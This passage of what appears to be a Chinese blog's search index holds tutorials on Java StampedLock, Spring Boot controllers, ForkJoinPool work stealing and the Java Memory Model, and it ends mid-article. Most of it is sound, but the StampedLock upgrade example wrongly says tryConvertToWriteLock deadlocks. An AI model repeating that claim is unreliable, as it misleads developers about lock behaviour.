class="type">long</span> <span class="variable">stamp</span> <span class="operator">=</span> lock.tryOptimisticRead();</span><br><span class="line"><span class="comment">// 直接读取，没有validate！</span></span><br><span class="line"><span class="keyword">return</span> x + y;</span><br></pre></td></tr></table></figure><h3 id="4-锁升级问题"><a href="#4-锁升级问题" class="headerlink" title="4. 锁升级问题"></a>4. 锁升级问题</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误：先获取读锁，另一个线程获取写锁，尝试升级会死锁</span></span><br><span class="line"><span class="type">long</span> <span class="variable">stamp</span> <span class="operator">=</span> lock.readLock();</span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (needWrite) &#123;</span><br><span class="line">        <span class="comment">// 如果有其他线程持有写锁，这里会死锁</span></span><br><span class="line">        <span class="type">long</span> <span class="variable">ws</span> <span class="operator">=</span> lock.tryConvertToWriteLock(stamp);</span><br><span class="line">    &#125;</span><br><span class="line">&#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">    lock.unlockRead(stamp);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><h3 id="1-读多写少才用乐观读"><a href="#1-读多写少才用乐观读" class="headerlink" title="1. 读多写少才用乐观读"></a>1. 读多写少才用乐观读</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OptimizedCache</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">StampedLock</span> <span class="variable">lock</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StampedLock</span>();</span><br><span class="line">    <span class="keyword">private</span> Map&lt;String, Object&gt; cache = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">get</span><span class="params">(String key)</span> &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">stamp</span> <span class="operator">=</span> lock.tryOptimisticRead();</span><br><span class="line">        <span class="type">Object</span> <span class="variable">value</span> <span class="operator">=</span> cache.get(key);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (!lock.validate(stamp)) &#123;</span><br><span class="line">            stamp = lock.readLock();</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                value = cache.get(key);</span><br><span class="line">            &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                lock.unlockRead(stamp);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> value;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">put</span><span class="params">(String key, Object value)</span> &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">stamp</span> <span class="operator">=</span> lock.writeLock();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            cache.put(key, value);</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            lock.unlockWrite(stamp);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-快速路径-慢速路径"><a href="#2-快速路径-慢速路径" class="headerlink" title="2. 快速路径 + 慢速路径"></a>2. 快速路径 + 慢速路径</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">double</span> <span class="title function_">read</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="comment">// 快速路径：乐观读</span></span><br><span class="line">    <span class="type">long</span> <span class="variable">stamp</span> <span class="operator">=</span> sl.tryOptimisticRead();</span><br><span class="line">    <span class="type">double</span> <span class="variable">result</span> <span class="operator">=</span> doRead();</span><br><span class="line">    <span class="keyword">if</span> (sl.validate(stamp)) &#123;</span><br><span class="line">        <span class="keyword">return</span> result;  <span class="comment">// 成功，直接返回</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 慢速路径：悲观读</span></span><br><span class="line">    stamp = sl.readLock();</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> doRead();</span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        sl.unlockRead(stamp);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-不要混合使用不同锁"><a href="#3-不要混合使用不同锁" class="headerlink" title="3. 不要混合使用不同锁"></a>3. 不要混合使用不同锁</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误：混用StampedLock和内置锁</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">final</span> <span class="type">StampedLock</span> <span class="variable">sl</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StampedLock</span>();</span><br><span class="line"><span class="keyword">private</span> <span class="keyword">final</span> <span class="type">Object</span> <span class="variable">lock</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Object</span>();</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>场景</th><th>推荐锁</th></tr></thead><tbody><tr><td>读多写少 + 无需重入</td><td>StampedLock（乐观读）</td></tr><tr><td>需要重入</td><td>ReentrantReadWriteLock</td></tr><tr><td>需要条件变量</td><td>ReentrantReadWriteLock</td></tr><tr><td>写多读少</td><td>ReentrantReadWriteLock</td></tr></tbody></table><p>StampedLock 是读多写少场景的利器，但使用复杂度较高。只有在确实需要极致读性能时，才值得使用它。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Java </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 参数校验和返回值封装</title>
      <link href="//spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/"/>
      <url>//spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-参数校验和返回值封装"><a href="#Spring-Boot-参数校验和返回值封装" class="headerlink" title="Spring Boot 参数校验和返回值封装"></a>Spring Boot 参数校验和返回值封装</h1><p>参数校验和返回值封装是接口质量的第一道防线。本文讲 Spring Boot 中的标准做法和常见问题。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ForkJoinPool工作窃取算法</title>
      <link href="//forkjoinpool-gong-zuo-qie-qu-suan-fa/"/>
      <url>//forkjoinpool-gong-zuo-qie-qu-suan-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="ForkJoinPool工作窃取算法"><a href="#ForkJoinPool工作窃取算法" class="headerlink" title="ForkJoinPool工作窃取算法"></a>ForkJoinPool工作窃取算法</h1><p><code>ForkJoinPool</code> 是 Java 7 引入的专为分治任务设计的线程池，采用工作窃取（Work-Stealing）算法。本文深入解析其原理和应用。</p><h2 id="核心设计"><a href="#核心设计" class="headerlink" title="核心设计"></a>核心设计</h2><h3 id="工作窃取算法"><a href="#工作窃取算法" class="headerlink" title="工作窃取算法"></a>工作窃取算法</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">线程A（繁忙）          线程B（空闲）</span><br><span class="line">Deque: [T1, T2, T3]   Deque: []</span><br><span class="line">       ↓                     ↓</span><br><span class="line">       T1执行中              从线程A尾部窃取T3</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>每个线程维护一个双端队列（Deque）</li><li>自己从队列头部取任务执行</li><li>空闲线程从其他线程队列尾部窃取任务</li><li>减少线程间的竞争（头部 vs 尾部）</li></ul><h2 id="ForkJoinTask"><a href="#ForkJoinTask" class="headerlink" title="ForkJoinTask"></a>ForkJoinTask</h2><h3 id="RecursiveAction（无返回值）"><a href="#RecursiveAction（无返回值）" class="headerlink" title="RecursiveAction（无返回值）"></a>RecursiveAction（无返回值）</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PrintTask</span> <span class="keyword">extends</span> <span class="title class_">RecursiveAction</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">THRESHOLD</span> <span class="operator">=</span> <span class="number">10</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> start;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> end;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">PrintTask</span><span class="params">(<span class="type">int</span> start, <span class="type">int</span> end)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.start = start;</span><br><span class="line">        <span class="built_in">this</span>.end = end;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">compute</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (end - start &lt;= THRESHOLD) &#123;</span><br><span class="line">            <span class="comment">// 直接执行</span></span><br><span class="line">            <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> start; i &lt; end; i++) &#123;</span><br><span class="line">                System.out.println(Thread.currentThread().getName() + <span class="string">&quot;: &quot;</span> + i);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// 拆分任务</span></span><br><span class="line">            <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> (start + end) / <span class="number">2</span>;</span><br><span class="line">            <span class="type">PrintTask</span> <span class="variable">left</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PrintTask</span>(start, mid);</span><br><span class="line">            <span class="type">PrintTask</span> <span class="variable">right</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PrintTask</span>(mid, end);</span><br><span class="line">            </span><br><span class="line">            invokeAll(left, right);  <span class="comment">// 并行执行子任务</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line"><span class="type">ForkJoinPool</span> <span class="variable">pool</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ForkJoinPool</span>();</span><br><span class="line">pool.submit(<span class="keyword">new</span> <span class="title class_">PrintTask</span>(<span class="number">0</span>, <span class="number">100</span>));</span><br><span class="line">pool.shutdown();</span><br></pre></td></tr></table></figure><h3 id="RecursiveTask（有返回值）"><a href="#RecursiveTask（有返回值）" class="headerlink" title="RecursiveTask（有返回值）"></a>RecursiveTask（有返回值）</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SumTask</span> <span class="keyword">extends</span> <span class="title class_">RecursiveTask</span>&lt;Long&gt; &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">THRESHOLD</span> <span class="operator">=</span> <span class="number">10000</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">long</span>[] array;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> start;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> end;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">SumTask</span><span class="params">(<span class="type">long</span>[] array, <span class="type">int</span> start, <span class="type">int</span> end)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.array = array;</span><br><span class="line">        <span class="built_in">this</span>.start = start;</span><br><span class="line">        <span class="built_in">this</span>.end = end;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> Long <span class="title function_">compute</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (end - start &lt;= THRESHOLD) &#123;</span><br><span class="line">            <span class="type">long</span> <span class="variable">sum</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">            <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> start; i &lt; end; i++) &#123;</span><br><span class="line">                sum += array[i];</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> sum;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> (start + end) / <span class="number">2</span>;</span><br><span class="line">        <span class="type">SumTask</span> <span class="variable">left</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SumTask</span>(array, start, mid);</span><br><span class="line">        <span class="type">SumTask</span> <span class="variable">right</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SumTask</span>(array, mid, end);</span><br><span class="line">        </span><br><span class="line">        left.fork();   <span class="comment">// 异步执行左任务</span></span><br><span class="line">        <span class="type">long</span> <span class="variable">rightSum</span> <span class="operator">=</span> right.compute();  <span class="comment">// 同步执行右任务</span></span><br><span class="line">        <span class="type">long</span> <span class="variable">leftSum</span> <span class="operator">=</span> left.join();       <span class="comment">// 等待左任务结果</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> leftSum + rightSum;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="常用方法"><a href="#常用方法" class="headerlink" title="常用方法"></a>常用方法</h2><table><thead><tr><th>方法</th><th>说明</th></tr></thead><tbody><tr><td>fork()</td><td>异步执行任务</td></tr><tr><td>join()</td><td>等待任务完成并获取结果</td></tr><tr><td>invoke()</td><td>执行任务并等待结果（fork+join）</td></tr><tr><td>invokeAll()</td><td>并行执行多个任务</td></tr><tr><td>compute()</td><td>直接执行任务</td></tr></tbody></table><h3 id="最佳实践：fork-compute-join"><a href="#最佳实践：fork-compute-join" class="headerlink" title="最佳实践：fork + compute + join"></a>最佳实践：fork + compute + join</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 好的模式</span></span><br><span class="line">left.fork();</span><br><span class="line">rightResult = right.compute();</span><br><span class="line">leftResult = left.join();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 避免两个fork</span></span><br><span class="line">left.fork();</span><br><span class="line">right.fork();      <span class="comment">// 多了任务入队开销</span></span><br><span class="line">leftResult = left.join();</span><br><span class="line">rightResult = right.join();</span><br></pre></td></tr></table></figure><h2 id="与-Stream-的集成"><a href="#与-Stream-的集成" class="headerlink" title="与 Stream 的集成"></a>与 Stream 的集成</h2><h3 id="parallelStream-的实现"><a href="#parallelStream-的实现" class="headerlink" title="parallelStream 的实现"></a>parallelStream 的实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Integer&gt; numbers = Arrays.asList(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>);</span><br><span class="line"></span><br><span class="line">numbers.parallelStream()</span><br><span class="line">    .map(n -&gt; n * n)</span><br><span class="line">    .collect(Collectors.toList());</span><br></pre></td></tr></table></figure><p><strong>底层</strong>：使用 <code>ForkJoinPool.commonPool()</code> 执行并行操作。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 获取 common pool</span></span><br><span class="line"><span class="type">ForkJoinPool</span> <span class="variable">commonPool</span> <span class="operator">=</span> ForkJoinPool.commonPool();</span><br><span class="line"><span class="comment">// 默认线程数 = CPU核心数 - 1</span></span><br></pre></td></tr></table></figure><h3 id="自定义并行流线程池"><a href="#自定义并行流线程池" class="headerlink" title="自定义并行流线程池"></a>自定义并行流线程池</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Java 8 中parallelStream无法指定线程池</span></span><br><span class="line"><span class="comment">// 需要使用CompletableFuture</span></span><br><span class="line"><span class="type">ForkJoinPool</span> <span class="variable">customPool</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ForkJoinPool</span>(<span class="number">4</span>);</span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> customPool.submit(() -&gt;</span><br><span class="line">        numbers.parallelStream().map(...).collect(...)</span><br><span class="line">    ).get();</span><br><span class="line">&#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">    e.printStackTrace();</span><br><span class="line">&#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">    customPool.shutdown();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><h3 id="1-任务粒度"><a href="#1-任务粒度" class="headerlink" title="1. 任务粒度"></a>1. 任务粒度</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误：任务太小，拆分开销 &gt; 执行开销</span></span><br><span class="line"><span class="keyword">if</span> (end - start &lt;= <span class="number">1</span>) &#123; ... &#125;  <span class="comment">// 粒度太细</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确：根据实际测试调整阈值</span></span><br><span class="line"><span class="keyword">if</span> (end - start &lt;= <span class="number">10000</span>) &#123; ... &#125;  <span class="comment">// 合理的阈值</span></span><br></pre></td></tr></table></figure><h3 id="2-避免阻塞操作"><a href="#2-避免阻塞操作" class="headerlink" title="2. 避免阻塞操作"></a>2. 避免阻塞操作</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误：在ForkJoinTask中阻塞</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BadTask</span> <span class="keyword">extends</span> <span class="title class_">RecursiveTask</span>&lt;String&gt; &#123;</span><br><span class="line">    <span class="keyword">protected</span> String <span class="title function_">compute</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> callExternalAPI();  <span class="comment">// 阻塞HTTP调用！</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确：ForkJoinPool适合计算密集型任务</span></span><br></pre></td></tr></table></figure><h3 id="3-避免共享可变状态"><a href="#3-避免共享可变状态" class="headerlink" title="3. 避免共享可变状态"></a>3. 避免共享可变状态</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误：并发修改共享变量</span></span><br><span class="line"><span class="keyword">private</span> <span class="type">int</span> <span class="variable">sum</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">protected</span> Integer <span class="title function_">compute</span><span class="params">()</span> &#123;</span><br><span class="line">    sum += localSum;  <span class="comment">// 非线程安全</span></span><br><span class="line">    <span class="keyword">return</span> sum;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确：每个任务返回局部结果，最后合并</span></span><br><span class="line"><span class="keyword">protected</span> Integer <span class="title function_">compute</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">localSum</span> <span class="operator">=</span> calculate();</span><br><span class="line">    <span class="keyword">return</span> localSum;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="性能对比"><a href="#性能对比" class="headerlink" title="性能对比"></a>性能对比</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PerformanceTest</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">long</span>[] array = <span class="keyword">new</span> <span class="title class_">long</span>[<span class="number">100_000_000</span>];</span><br><span class="line">        Arrays.fill(array, <span class="number">1</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 单线程</span></span><br><span class="line">        <span class="type">long</span> <span class="variable">start1</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line">        <span class="type">long</span> <span class="variable">sum1</span> <span class="operator">=</span> Arrays.stream(array).sum();</span><br><span class="line">        System.out.println(<span class="string">&quot;单线程: &quot;</span> + (System.currentTimeMillis() - start1) + <span class="string">&quot;ms&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// ForkJoin</span></span><br><span class="line">        <span class="type">long</span> <span class="variable">start2</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line">        <span class="type">ForkJoinPool</span> <span class="variable">pool</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ForkJoinPool</span>();</span><br><span class="line">        <span class="type">long</span> <span class="variable">sum2</span> <span class="operator">=</span> pool.invoke(<span class="keyword">new</span> <span class="title class_">SumTask</span>(array, <span class="number">0</span>, array.length));</span><br><span class="line">        System.out.println(<span class="string">&quot;ForkJoin: &quot;</span> + (System.currentTimeMillis() - start2) + <span class="string">&quot;ms&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// parallelStream</span></span><br><span class="line">        <span class="type">long</span> <span class="variable">start3</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line">        <span class="type">long</span> <span class="variable">sum3</span> <span class="operator">=</span> Arrays.stream(array).parallel().sum();</span><br><span class="line">        System.out.println(<span class="string">&quot;parallelStream: &quot;</span> + (System.currentTimeMillis() - start3) + <span class="string">&quot;ms&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>结果</strong>（8核 CPU）：</p><ul><li>单线程：~150ms</li><li>ForkJoin：~30ms（5倍提升）</li><li>parallelStream：~35ms</li></ul><h2 id="适用场景"><a href="#适用场景" class="headerlink" title="适用场景"></a>适用场景</h2><table><thead><tr><th>场景</th><th>是否适合</th></tr></thead><tbody><tr><td>大规模数组求和/排序</td><td>适合</td></tr><tr><td>递归树遍历</td><td>适合</td></tr><tr><td>MapReduce 计算</td><td>适合</td></tr><tr><td>阻塞 IO 操作</td><td>不适合</td></tr><tr><td>任务依赖复杂</td><td>不适合</td></tr><tr><td>数据量小</td><td>不适合</td></tr></tbody></table><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ForkJoinPool 通过工作窃取算法，在计算密集型任务中实现了优异的并行性能：</p><ol><li><strong>分解</strong>：大任务拆分为小任务</li><li><strong>执行</strong>：线程从自己的队列头部取任务</li><li><strong>窃取</strong>：空闲线程从其他队列尾部偷任务</li><li><strong>合并</strong>：汇总子任务结果</li></ol><p>正确使用 ForkJoinPool，可以充分利用多核 CPU 的计算能力。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Java </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java内存模型JMM与HappensBefore</title>
      <link href="//java-nei-cun-mo-xing-jmm-yu-happensbefore/"/>
      <url>//java-nei-cun-mo-xing-jmm-yu-happensbefore/</url>
      
        <content type="html"><![CDATA[<h1 id="Java内存模型JMM与HappensBefore"><a href="#Java内存模型JMM与HappensBefore" class="headerlink" title="Java内存模型JMM与HappensBefore"></a>Java内存模型JMM与HappensBefore</h1><p>Java 内存模型（JMM）定义了多线程环境下共享变量的访问规则，是理解并发编程的理论基础。</p><h2 id="JMM-抽象结构"><a href="#JMM-抽象结构" class="headerlink" title="JMM 抽象结构"></a>JMM 抽象结构</h2><h3 id="主内存与工作内存"><a href="#主内存与工作内存" class="headerlink" title="主内存与工作内存"></a>主内存与工作内存</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">     主内存（Shared Memory）</span><br><span class="line">     ┌─────────────────┐</span><br><span class="line">     │   x = 0         │</span><br><span class="line">     │   y = 0         │</span><br><span class="line">     └─────────────────┘</span><br><span class="line">            ▲    │</span><br><span class="line">      read │    │ write</span><br><span class="line">      load │    │ store</span><br><span class="line">            │    ▼</span><br><span class="line">┌───────────┐    ┌───────────┐</span><br><span class="line">│ 线程A     │    │ 线程B     │</span><br><span class="line">│ 工作内存   │    │ 工作内存   │</span><br><span class="line">│ x = ?     │    │ x = ?     │</span><br><span class="line">└───────────┘    └───────────┘</span><br></pre></td></tr></table></figure><ul><li><strong>主内存</strong>：所有共享变量的存储区域</li><li><strong>工作内存</strong>：每个线程的私有拷贝</li></ul><h3 id="内存交互操作"><a href="#内存交互操作" class="headerlink" title="内存交互操作"></a>内存交互操作</h3><table><thead><tr><th>操作</th><th>作用</th></tr></thead><tbody><tr><td>lock</td><td>锁定主内存变量</td></tr><tr><td>unlock</td><td>解锁主内存变量</td></tr><tr><td>read</td><td>从主内存读取到工作内存</td></tr><tr><td>load</td><td>将 read 的值放入工作内存变量</td></tr><tr><td>use</td><td>使用工作内存变量值</td></tr><tr><td>assign</td><td>给工作内存变量赋值</td></tr><tr><td>store</td><td>将工作内存变量值传送到主内存</td></tr><tr><td>write</td><td>将 store 的值写入主内存变量</td></tr></tbody></table><h2 id="Happens-Before-规则"><a href="#Happens-Before-规则" class="headerlink" title="Happens-Before 规则"></a>Happens-Before 规则</h2><p>Happens-Before 是 JMM 中保证可见性的核心概念：如果 A happens-before B，那么 A 的结果对 B 可见。</p><h3 id="1-程序次序规则"><a href="#1-程序次序规则" class="headerlink" title="1. 程序次序规则"></a>1. 程序次序规则</h3><p>一个线程内，前面的操作 happens-before 后面的操作。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="variable">a</span> <span class="operator">=</span> <span class="number">1</span>;      <span class="comment">// (1)</span></span><br><span class="line"><span class="type">int</span> <span class="variable">b</span> <span class="operator">=</span> <span class="number">2</span>;      <span class="comment">// (2)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// (1) happens-before (2)</span></span><br><span class="line"><span class="comment">// 但JMM允许重排序，只要不改变单线程执行结果</span></span><br></pre></td></tr></table></figure><h3 id="2-监视器锁规则"><a href="#2-监视器锁规则" class="headerlink" title="2. 监视器锁规则"></a>2. 监视器锁规则</h3><p>解锁 happens-before 后面对同一锁的加锁。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">synchronized</span> (lock) &#123;</span><br><span class="line">    x = <span class="number">1</span>;      <span class="comment">// 解锁前</span></span><br><span class="line">&#125;</span><br><span class="line">                <span class="comment">// happens-before</span></span><br><span class="line"><span class="keyword">synchronized</span> (lock) &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">y</span> <span class="operator">=</span> x;  <span class="comment">// 加锁后，保证看到x=1</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-volatile-规则"><a href="#3-volatile-规则" class="headerlink" title="3. volatile 规则"></a>3. volatile 规则</h3><p>volatile 写 happens-before 后面对同一变量的 volatile 读。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">volatile</span> <span class="type">int</span> x;</span><br><span class="line"></span><br><span class="line"><span 